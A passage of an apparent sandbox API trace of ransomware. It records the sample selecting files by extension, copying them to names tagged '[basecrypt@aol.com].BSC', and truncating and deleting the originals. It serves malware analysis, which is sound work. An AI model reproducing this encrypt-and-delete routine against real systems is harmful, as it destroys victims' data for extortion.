(lpString="C:\\588bce7c90097ed212\\1037\\LocalizedData.xml") returned 44 [0102.681] lstrlenW (lpString=".1cd") returned 4 [0102.681] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0102.681] lstrlenW (lpString="C:\\588bce7c90097ed212\\1037\\LocalizedData.xml") returned 44 [0102.681] lstrlenW (lpString=".jpg") returned 4 [0102.681] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0102.681] lstrcmpiW (lpString1=".xml", lpString2=".BSC") returned 1 [0102.681] lstrlenW (lpString="LocalizedData.xml") returned 17 [0102.681] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1040\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1040\\localizeddata.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e0 [0102.918] GetFileSizeEx (in: hFile=0x2e0, lpFileSize=0x353ff14 | out: lpFileSize=0x353ff14*=80060) returned 1 [0102.918] CloseHandle (hObject=0x2e0) returned 1 [0102.918] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1040\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1040\\localizeddata.xml")) returned 0x80 [0102.918] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1040\\LocalizedData.xml.id-B4197730.[basecrypt@aol.com].BSC" (normalized: "c:\\588bce7c90097ed212\\1040\\localizeddata.xml.id-b4197730.[basecrypt@aol.com].bsc")) returned 0xffffffff [0102.918] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1040\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1040\\localizeddata.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e0 [0102.919] SetFilePointerEx (in: hFile=0x2e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x353fec0 | out: lpNewFilePointer=0x0) returned 1 [0102.919] SetFilePointerEx (in: hFile=0x2e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x353fec0 | out: lpNewFilePointer=0x0) returned 1 [0102.919] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1040\\LocalizedData.xml.id-B4197730.[basecrypt@aol.com].BSC" (normalized: "c:\\588bce7c90097ed212\\1040\\localizeddata.xml.id-b4197730.[basecrypt@aol.com].bsc"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x320 [0102.919] GetLastError () returned 0x0 [0102.919] ReadFile (in: hFile=0x2e0, lpBuffer=0x3f5b020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x353fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f5b020*, lpNumberOfBytesRead=0x353fecc*=0x138bc, lpOverlapped=0x0) returned 1 [0102.989] WriteFile (in: hFile=0x320, lpBuffer=0x3f5b020*, nNumberOfBytesToWrite=0x138c0, lpNumberOfBytesWritten=0x353fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f5b020*, lpNumberOfBytesWritten=0x353fc94*=0x138c0, lpOverlapped=0x0) returned 1 [0102.991] ReadFile (in: hFile=0x2e0, lpBuffer=0x3f5b020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x353fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f5b020*, lpNumberOfBytesRead=0x353fecc*=0x0, lpOverlapped=0x0) returned 1 [0102.991] WriteFile (in: hFile=0x320, lpBuffer=0x3f5b020*, nNumberOfBytesToWrite=0xf6, lpNumberOfBytesWritten=0x353fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f5b020*, lpNumberOfBytesWritten=0x353fc94*=0xf6, lpOverlapped=0x0) returned 1 [0102.991] SetEndOfFile (hFile=0x320) returned 1 [0102.991] CloseHandle (hObject=0x320) returned 1 [0102.997] SetFilePointerEx (in: hFile=0x2e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x353fec0 | out: lpNewFilePointer=0x0) returned 1 [0102.997] SetEndOfFile (hFile=0x2e0) returned 1 [0102.998] CloseHandle (hObject=0x2e0) returned 1 [0102.998] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1040\\LocalizedData.xml.id-B4197730.[basecrypt@aol.com].BSC", dwFileAttributes=0x80) returned 1 [0102.999] DeleteFileW (lpFileName="C:\\588bce7c90097ed212\\1040\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1040\\localizeddata.xml")) returned 1 [0102.999] lstrlenW (lpString="C:\\588bce7c90097ed212\\1040\\LocalizedData.xml") returned 44 [0102.999] lstrlenW (lpString="C:\\588bce7c90097ed212\\1040\\LocalizedData.xml") returned 44 [0102.999] lstrlenW (lpString=".doc") returned 4 [0102.999] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0102.999] lstrlenW (lpString=".docx") returned 5 [0102.999] lstrcmpiW (lpString1=".docx", lpString2="a.xml") returned -1 [0102.999] lstrlenW (lpString=".pdf") returned 4 [0102.999] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0102.999] lstrlenW (lpString=".xls") returned 4 [0102.999] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0102.999] lstrlenW (lpString=".xlsx") returned 5 [0102.999] lstrcmpiW (lpString1=".xlsx", lpString2="a.xml") returned -1 [0102.999] lstrlenW (lpString=".ppt") returned 4 [0102.999] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0103.000] lstrlenW (lpString="C:\\588bce7c90097ed212\\1040\\LocalizedData.xml") returned 44 [0103.000] lstrlenW (lpString=".zip") returned 4 [0103.000] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0103.000] lstrlenW (lpString=".rar") returned 4 [0103.000] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0103.000] lstrlenW (lpString=".bz2") returned 4 [0103.000] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0103.000] lstrlenW (lpString=".7z") returned 3 [0103.000] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0103.000] lstrlenW (lpString="C:\\588bce7c90097ed212\\1040\\LocalizedData.xml") returned 44 [0103.000] lstrlenW (lpString=".dbf") returned 4 [0103.000] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0103.000] lstrlenW (lpString="C:\\588bce7c90097ed212\\1040\\LocalizedData.xml") returned 44 [0103.000] lstrlenW (lpString=".1cd") returned 4 [0103.000] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0103.000] lstrlenW (lpString="C:\\588bce7c90097ed212\\1040\\LocalizedData.xml") returned 44 [0103.000] lstrlenW (lpString=".jpg") returned 4 [0103.000] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0103.000] lstrlenW (lpString="C:\\588bce7c90097ed212\\1040\\LocalizedData.xml") returned 44 [0103.000] lstrlenW (lpString="C:\\588bce7c90097ed212\\1040\\LocalizedData.xml") returned 44 [0103.000] lstrlenW (lpString=".doc") returned 4 [0103.000] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0103.000] lstrlenW (lpString=".docx") returned 5 [0103.000] lstrcmpiW (lpString1=".docx", lpString2="a.xml") returned -1 [0103.000] lstrlenW (lpString=".pdf") returned 4 [0103.000] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0103.001] lstrlenW (lpString=".xls") returned 4 [0103.001] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0103.001] lstrlenW (lpString=".xlsx") returned 5 [0103.001] lstrcmpiW (lpString1=".xlsx", lpString2="a.xml") returned -1 [0103.001] lstrlenW (lpString=".ppt") returned 4 [0103.001] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0103.001] lstrlenW (lpString="C:\\588bce7c90097ed212\\1040\\LocalizedData.xml") returned 44 [0103.001] lstrlenW (lpString=".zip") returned 4 [0103.001] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0103.001] lstrlenW (lpString=".rar") returned 4 [0103.001] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0103.001] lstrlenW (lpString=".bz2") returned 4 [0103.001] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0103.001] lstrlenW (lpString=".7z") returned 3 [0103.001] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0103.001] lstrlenW (lpString="C:\\588bce7c90097ed212\\1040\\LocalizedData.xml") returned 44 [0103.001] lstrlenW (lpString=".dbf") returned 4 [0103.001] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0103.001] lstrlenW (lpString="C:\\588bce7c90097ed212\\1040\\LocalizedData.xml") returned 44 [0103.001] lstrlenW (lpString=".1cd") returned 4 [0103.001] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0103.001] lstrlenW (lpString="C:\\588bce7c90097ed212\\1040\\LocalizedData.xml") returned 44 [0103.001] lstrlenW (lpString=".jpg") returned 4 [0103.001] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0103.001] lstrcmpiW (lpString1=".rtf", lpString2=".BSC") returned 1 [0103.001] lstrlenW (lpString="eula.rtf") returned 8 [0103.002] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1045\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1045\\eula.rtf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e0 [0103.002] GetFileSizeEx (in: hFile=0x2e0, lpFileSize=0x353ff14 | out: lpFileSize=0x353ff14*=4040) returned 1 [0103.002] CloseHandle (hObject=0x2e0) returned 1 [0103.002] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1045\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1045\\eula.rtf")) returned 0x80 [0103.002] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1045\\eula.rtf.id-B4197730.[basecrypt@aol.com].BSC" (normalized: "c:\\588bce7c90097ed212\\1045\\eula.rtf.id-b4197730.[basecrypt@aol.com].bsc")) returned 0xffffffff [0103.002] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1045\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1045\\eula.rtf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e0 [0103.002] SetFilePointerEx (in: hFile=0x2e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x353fec0 | out: lpNewFilePointer=0x0) returned 1 [0103.002] SetFilePointerEx (in: hFile=0x2e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x353fec0 | out: lpNewFilePointer=0x0) returned 1 [0103.002] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1045\\eula.rtf.id-B4197730.[basecrypt@aol.com].BSC" (normalized: "c:\\588bce7c90097ed212\\1045\\eula.rtf.id-b4197730.[basecrypt@aol.com].bsc"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x320 [0103.002] GetLastError () returned 0x0 [0103.003] ReadFile (in: hFile=0x2e0, lpBuffer=0x3f5b020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x353fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f5b020*, lpNumberOfBytesRead=0x353fecc*=0xfc8, lpOverlapped=0x0) returned 1 [0103.049] WriteFile (in: hFile=0x320, lpBuffer=0x3f5b020*, nNumberOfBytesToWrite=0xfd0, lpNumberOfBytesWritten=0x353fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f5b020*, lpNumberOfBytesWritten=0x353fc94*=0xfd0, lpOverlapped=0x0) returned 1 [0103.050] ReadFile (in: hFile=0x2e0, lpBuffer=0x3f5b020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x353fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f5b020*, lpNumberOfBytesRead=0x353fecc*=0x0, lpOverlapped=0x0) returned 1 [0103.050] WriteFile (in: hFile=0x320, lpBuffer=0x3f5b020*, nNumberOfBytesToWrite=0xe4, lpNumberOfBytesWritten=0x353fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f5b020*, lpNumberOfBytesWritten=0x353fc94*=0xe4, lpOverlapped=0x0) returned 1 [0103.050] SetEndOfFile (hFile=0x320) returned 1 [0103.050] CloseHandle (hObject=0x320) returned 1 [0103.053] SetFilePointerEx (in: hFile=0x2e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x353fec0 | out: lpNewFilePointer=0x0) returned 1 [0103.053] SetEndOfFile (hFile=0x2e0) returned 1 [0103.054] CloseHandle (hObject=0x2e0) returned 1 [0103.054] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1045\\eula.rtf.id-B4197730.[basecrypt@aol.com].BSC", dwFileAttributes=0x80) returned 1 [0103.054] DeleteFileW (lpFileName="C:\\588bce7c90097ed212\\1045\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1045\\eula.rtf")) returned 1 [0103.054] lstrlenW (lpString="C:\\588bce7c90097ed212\\1045\\eula.rtf") returned 35 [0103.054] lstrlenW (lpString="C:\\588bce7c90097ed212\\1045\\eula.rtf") returned 35 [0103.054] lstrlenW (lpString=".doc") returned 4 [0103.054] lstrcmpiW (lpString1=".doc", lpString2=".rtf") returned -1 [0103.054] lstrlenW (lpString=".docx") returned 5 [0103.054] lstrcmpiW (lpString1=".docx", lpString2="a.rtf") returned -1 [0103.055] lstrlenW (lpString=".pdf") returned 4 [0103.055] lstrcmpiW (lpString1=".pdf", lpString2=".rtf") returned -1 [0103.055] lstrlenW (lpString=".xls") returned 4 [0103.055] lstrcmpiW (lpString1=".xls", lpString2=".rtf") returned 1 [0103.055] lstrlenW (lpString=".xlsx") returned 5 [0103.055] lstrcmpiW (lpString1=".xlsx", lpString2="a.rtf") returned -1 [0103.055] lstrlenW (lpString=".ppt") returned 4 [0103.055] lstrcmpiW (lpString1=".ppt", lpString2=".rtf") returned -1 [0103.055] lstrlenW (lpString="C:\\588bce7c90097ed212\\1045\\eula.rtf") returned 35 [0103.055] lstrlenW (lpString=".zip") returned 4 [0103.055] lstrcmpiW (lpString1=".zip", lpString2=".rtf") returned 1 [0103.055] lstrlenW (lpString=".rar") returned 4 [0103.055] lstrcmpiW (lpString1=".rar", lpString2=".rtf") returned -1 [0103.055] lstrlenW (lpString=".bz2") returned 4 [0103.055] lstrcmpiW (lpString1=".bz2", lpString2=".rtf") returned -1 [0103.055] lstrlenW (lpString=".7z") returned 3 [0103.055] lstrcmpiW (lpString1=".7z", lpString2="rtf") returned -1 [0103.055] lstrlenW (lpString="C:\\588bce7c90097ed212\\1045\\eula.rtf") returned 35 [0103.055] lstrlenW (lpString=".dbf") returned 4 [0103.055] lstrcmpiW (lpString1=".dbf", lpString2=".rtf") returned -1 [0103.055] lstrlenW (lpString="C:\\588bce7c90097ed212\\1045\\eula.rtf") returned 35 [0103.055] lstrlenW (lpString=".1cd") returned 4 [0103.055] lstrcmpiW (lpString1=".1cd", lpString2=".rtf") returned -1 [0103.055] lstrlenW (lpString="C:\\588bce7c90097ed212\\1045\\eula.rtf") returned 35 [0103.055] lstrlenW (lpString=".jpg") returned 4 [0103.055] lstrcmpiW (lpString1=".jpg", lpString2=".rtf") returned -1 [0103.055] lstrlenW (lpString="C:\\588bce7c90097ed212\\1045\\eula.rtf") returned 35 [0103.055] lstrlenW (lpString="C:\\588bce7c90097ed212\\1045\\eula.rtf") returned 35 [0103.055] lstrlenW (lpString=".doc") returned 4 [0103.056] lstrcmpiW (lpString1=".doc", lpString2=".rtf") returned -1 [0103.056] lstrlenW (lpString=".docx") returned 5 [0103.056] lstrcmpiW (lpString1=".docx", lpString2="a.rtf") returned -1 [0103.056] lstrlenW (lpString=".pdf") returned 4 [0103.056] lstrcmpiW (lpString1=".pdf", lpString2=".rtf") returned -1 [0103.056] lstrlenW (lpString=".xls") returned 4 [0103.056] lstrcmpiW (lpString1=".xls", lpString2=".rtf") returned 1 [0103.056] lstrlenW (lpString=".xlsx") returned 5 [0103.056] lstrcmpiW (lpString1=".xlsx", lpString2="a.rtf") returned -1 [0103.056] lstrlenW (lpString=".ppt") returned 4 [0103.056] lstrcmpiW (lpString1=".ppt", lpString2=".rtf") returned -1 [0103.056] lstrlenW (lpString="C:\\588bce7c90097ed212\\1045\\eula.rtf") returned 35 [0103.056] lstrlenW (lpString=".zip") returned 4 [0103.056] lstrcmpiW (lpString1=".zip", lpString2=".rtf") returned 1 [0103.056] lstrlenW (lpString=".rar") returned 4 [0103.056] lstrcmpiW (lpString1=".rar", lpString2=".rtf") returned -1 [0103.056] lstrlenW (lpString=".bz2") returned 4 [0103.056] lstrcmpiW (lpString1=".bz2", lpString2=".rtf") returned -1 [0103.056] lstrlenW (lpString=".7z") returned 3 [0103.056] lstrcmpiW (lpString1=".7z", lpString2="rtf") returned -1 [0103.056] lstrlenW (lpString="C:\\588bce7c90097ed212\\1045\\eula.rtf") returned 35 [0103.056] lstrlenW (lpString=".dbf") returned 4 [0103.056] lstrcmpiW (lpString1=".dbf", lpString2=".rtf") returned -1 [0103.056] lstrlenW (lpString="C:\\588bce7c90097ed212\\1045\\eula.rtf") returned 35 [0103.056] lstrlenW (lpString=".1cd") returned 4 [0103.056] lstrcmpiW (lpString1=".1cd", lpString2=".rtf") returned -1 [0103.056] lstrlenW (lpString="C:\\588bce7c90097ed212\\1045\\eula.rtf") returned 35 [0103.056] lstrlenW (lpString=".jpg") returned 4 [0103.056] lstrcmpiW (lpString1=".jpg", lpString2=".rtf") returned -1 [0103.057] lstrcmpiW (lpString1=".rtf", lpString2=".BSC") returned 1 [0103.057] lstrlenW (lpString="eula.rtf") returned 8 [0103.057] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1049\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1049\\eula.rtf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e0 [0103.057] GetFileSizeEx (in: hFile=0x2e0, lpFileSize=0x353ff14 | out: lpFileSize=0x353ff14*=54456) returned 1 [0103.058] CloseHandle (hObject=0x2e0) returned 1 [0103.058] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1049\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1049\\eula.rtf")) returned 0x80 [0103.058] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1049\\eula.rtf.id-B4197730.[basecrypt@aol.com].BSC" (normalized: "c:\\588bce7c90097ed212\\1049\\eula.rtf.id-b4197730.[basecrypt@aol.com].bsc")) returned 0xffffffff [0103.058] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1049\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1049\\eula.rtf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e0 [0103.058] SetFilePointerEx (in: hFile=0x2e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x353fec0 | out: lpNewFilePointer=0x0) returned 1 [0103.058] SetFilePointerEx (in: hFile=0x2e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x353fec0 | out: lpNewFilePointer=0x0) returned 1 [0103.058] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1049\\eula.rtf.id-B4197730.[basecrypt@aol.com].BSC" (normalized: "c:\\588bce7c90097ed212\\1049\\eula.rtf.id-b4197730.[basecrypt@aol.com].bsc"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x320 [0103.058] GetLastError () returned 0x0 [0103.058] ReadFile (in: hFile=0x2e0, lpBuffer=0x3f5b020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x353fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f5b020*, lpNumberOfBytesRead=0x353fecc*=0xd4b8, lpOverlapped=0x0) returned 1 [0103.127] WriteFile (in: hFile=0x320, lpBuffer=0x3f5b020*, nNumberOfBytesToWrite=0xd4c0, lpNumberOfBytesWritten=0x353fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f5b020*, lpNumberOfBytesWritten=0x353fc94*=0xd4c0, lpOverlapped=0x0) returned 1 [0103.129] ReadFile (in: hFile=0x2e0, lpBuffer=0x3f5b020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x353fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f5b020*, lpNumberOfBytesRead=0x353fecc*=0x0, lpOverlapped=0x0) returned 1 [0103.129] WriteFile (in: hFile=0x320, lpBuffer=0x3f5b020*, nNumberOfBytesToWrite=0xe4, lpNumberOfBytesWritten=0x353fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f5b020*, lpNumberOfBytesWritten=0x353fc94*=0xe4, lpOverlapped=0x0) returned 1 [0103.129] SetEndOfFile (hFile=0x320) returned 1 [0103.129] CloseHandle (hObject=0x320) returned 1 [0103.132] SetFilePointerEx (in: hFile=0x2e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x353fec0 | out: lpNewFilePointer=0x0) returned 1 [0103.132] SetEndOfFile (hFile=0x2e0) returned 1 [0103.133] CloseHandle (hObject=0x2e0) returned 1 [0103.134] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1049\\eula.rtf.id-B4197730.[basecrypt@aol.com].BSC", dwFileAttributes=0x80) returned 1 [0103.134] DeleteFileW (lpFileName="C:\\588bce7c90097ed212\\1049\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1049\\eula.rtf")) returned 1 [0103.134] lstrlenW (lpString="C:\\588bce7c90097ed212\\1049\\eula.rtf") returned 35 [0103.134] lstrlenW (lpString="C:\\588bce7c90097ed212\\1049\\eula.rtf") returned 35 [0103.134] lstrlenW (lpString=".doc") returned 4 [0103.134] lstrcmpiW (lpString1=".doc", lpString2=".rtf") returned -1 [0103.134] lstrlenW (lpString=".docx") returned 5 [0103.134] lstrcmpiW (lpString1=".docx", lpString2="a.rtf") returned -1 [0103.134] lstrlenW (lpString=".pdf") returned 4 [0103.134] lstrcmpiW (lpString1=".pdf", lpString2=".rtf") returned -1 [0103.134] lstrlenW (lpString=".xls") returned 4 [0103.134] lstrcmpiW (lpString1=".xls", lpString2=".rtf") returned 1 [0103.134] lstrlenW (lpString=".xlsx") returned 5 [0103.134] lstrcmpiW (lpString1=".xlsx", lpString2="a.rtf") returned -1 [0103.134] lstrlenW (lpString=".ppt") returned 4 [0103.134] lstrcmpiW (lpString1=".ppt", lpString2=".rtf") returned -1 [0103.134] lstrlenW (lpString="C:\\588bce7c90097ed212\\1049\\eula.rtf") returned 35 [0103.134] lstrlenW (lpString=".zip") returned 4 [0103.135] lstrcmpiW (lpString1=".zip", lpString2=".rtf") returned 1 [0103.135] lstrlenW (lpString=".rar") returned 4 [0103.135] lstrcmpiW (lpString1=".rar", lpString2=".rtf") returned -1 [0103.135] lstrlenW (lpString=".bz2") returned 4 [0103.135] lstrcmpiW (lpString1=".bz2", lpString2=".rtf") returned -1 [0103.135] lstrlenW (lpString=".7z") returned 3 [0103.135] lstrcmpiW (lpString1=".7z", lpString2="rtf") returned -1 [0103.135] lstrlenW (lpString="C:\\588bce7c90097ed212\\1049\\eula.rtf") returned 35 [0103.135] lstrlenW (lpString=".dbf") returned 4 [0103.135] lstrcmpiW (lpString1=".dbf", lpString2=".rtf") returned -1 [0103.135] lstrlenW (lpString="C:\\588bce7c90097ed212\\1049\\eula.rtf") returned 35 [0103.135] lstrlenW (lpString=".1cd") returned 4 [0103.135] lstrcmpiW (lpString1=".1cd", lpString2=".rtf") returned -1 [0103.135] lstrlenW (lpString="C:\\588bce7c90097ed212\\1049\\eula.rtf") returned 35 [0103.135] lstrlenW (lpString=".jpg") returned 4 [0103.135] lstrcmpiW (lpString1=".jpg", lpString2=".rtf") returned -1 [0103.135] lstrlenW (lpString="C:\\588bce7c90097ed212\\1049\\eula.rtf") returned 35 [0103.135] lstrlenW (lpString="C:\\588bce7c90097ed212\\1049\\eula.rtf") returned 35 [0103.135] lstrlenW (lpString=".doc") returned 4 [0103.135] lstrcmpiW (lpString1=".doc", lpString2=".rtf") returned -1 [0103.135] lstrlenW (lpString=".docx") returned 5 [0103.135] lstrcmpiW (lpString1=".docx", lpString2="a.rtf") returned -1 [0103.135] lstrlenW (lpString=".pdf") returned 4 [0103.135] lstrcmpiW (lpString1=".pdf", lpString2=".rtf") returned -1 [0103.135] lstrlenW (lpString=".xls") returned 4 [0103.135] lstrcmpiW (lpString1=".xls", lpString2=".rtf") returned 1 [0103.135] lstrlenW (lpString=".xlsx") returned 5 [0103.135] lstrcmpiW (lpString1=".xlsx", lpString2="a.rtf") returned -1 [0103.135] lstrlenW (lpString=".ppt") returned 4 [0103.135] lstrcmpiW (lpString1=".ppt", lpString2=".rtf") returned -1 [0103.135] lstrlenW (lpString="C:\\588bce7c90097ed212\\1049\\eula.rtf") returned 35 [0103.135] lstrlenW (lpString=".zip") returned 4 [0103.135] lstrcmpiW (lpString1=".zip", lpString2=".rtf") returned 1 [0103.135] lstrlenW (lpString=".rar") returned 4 [0103.136] lstrcmpiW (lpString1=".rar", lpString2=".rtf") returned -1 [0103.136] lstrlenW (lpString=".bz2") returned 4 [0103.136] lstrcmpiW (lpString1=".bz2", lpString2=".rtf") returned -1 [0103.136] lstrlenW (lpString=".7z") returned 3 [0103.136] lstrcmpiW (lpString1=".7z", lpString2="rtf") returned -1 [0103.136] lstrlenW (lpString="C:\\588bce7c90097ed212\\1049\\eula.rtf") returned 35 [0103.136] lstrlenW (lpString=".dbf") returned 4 [0103.136] lstrcmpiW (lpString1=".dbf", lpString2=".rtf") returned -1 [0103.136] lstrlenW (lpString="C:\\588bce7c90097ed212\\1049\\eula.rtf") returned 35 [0103.136] lstrlenW (lpString=".1cd") returned 4 [0103.136] lstrcmpiW (lpString1=".1cd", lpString2=".rtf") returned -1 [0103.136] lstrlenW (lpString="C:\\588bce7c90097ed212\\1049\\eula.rtf") returned 35 [0103.136] lstrlenW (lpString=".jpg") returned 4 [0103.136] lstrcmpiW (lpString1=".jpg", lpString2=".rtf") returned -1 [0103.136] lstrcmpiW (lpString1=".rtf", lpString2=".BSC") returned 1 [0103.136] lstrlenW (lpString="eula.rtf") returned 8 [0103.136] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1053\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1053\\eula.rtf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e0 [0103.137] GetFileSizeEx (in: hFile=0x2e0, lpFileSize=0x353ff14 | out: lpFileSize=0x353ff14*=3865) returned 1 [0103.137] CloseHandle (hObject=0x2e0) returned 1 [0103.137] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1053\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1053\\eula.rtf")) returned 0x80 [0103.137] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1053\\eula.rtf.id-B4197730.[basecrypt@aol.com].BSC" (normalized: "c:\\588bce7c90097ed212\\1053\\eula.rtf.id-b4197730.[basecrypt@aol.com].bsc")) returned 0xffffffff [0103.137] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1053\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1053\\eula.rtf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e0 [0103.137] SetFilePointerEx (in: hFile=0x2e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x353fec0 | out: lpNewFilePointer=0x0) returned 1 [0103.137] SetFilePointerEx (in: hFile=0x2e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x353fec0 | out: lpNewFilePointer=0x0) returned 1 [0103.137] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1053\\eula.rtf.id-B4197730.[basecrypt@aol.com].BSC" (normalized: "c:\\588bce7c90097ed212\\1053\\eula.rtf.id-b4197730.[basecrypt@aol.com].bsc"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x320 [0103.137] GetLastError () returned 0x0 [0103.137] ReadFile (in: hFile=0x2e0, lpBuffer=0x3f5b020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x353fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f5b020*, lpNumberOfBytesRead=0x353fecc*=0xf19, lpOverlapped=0x0) returned 1 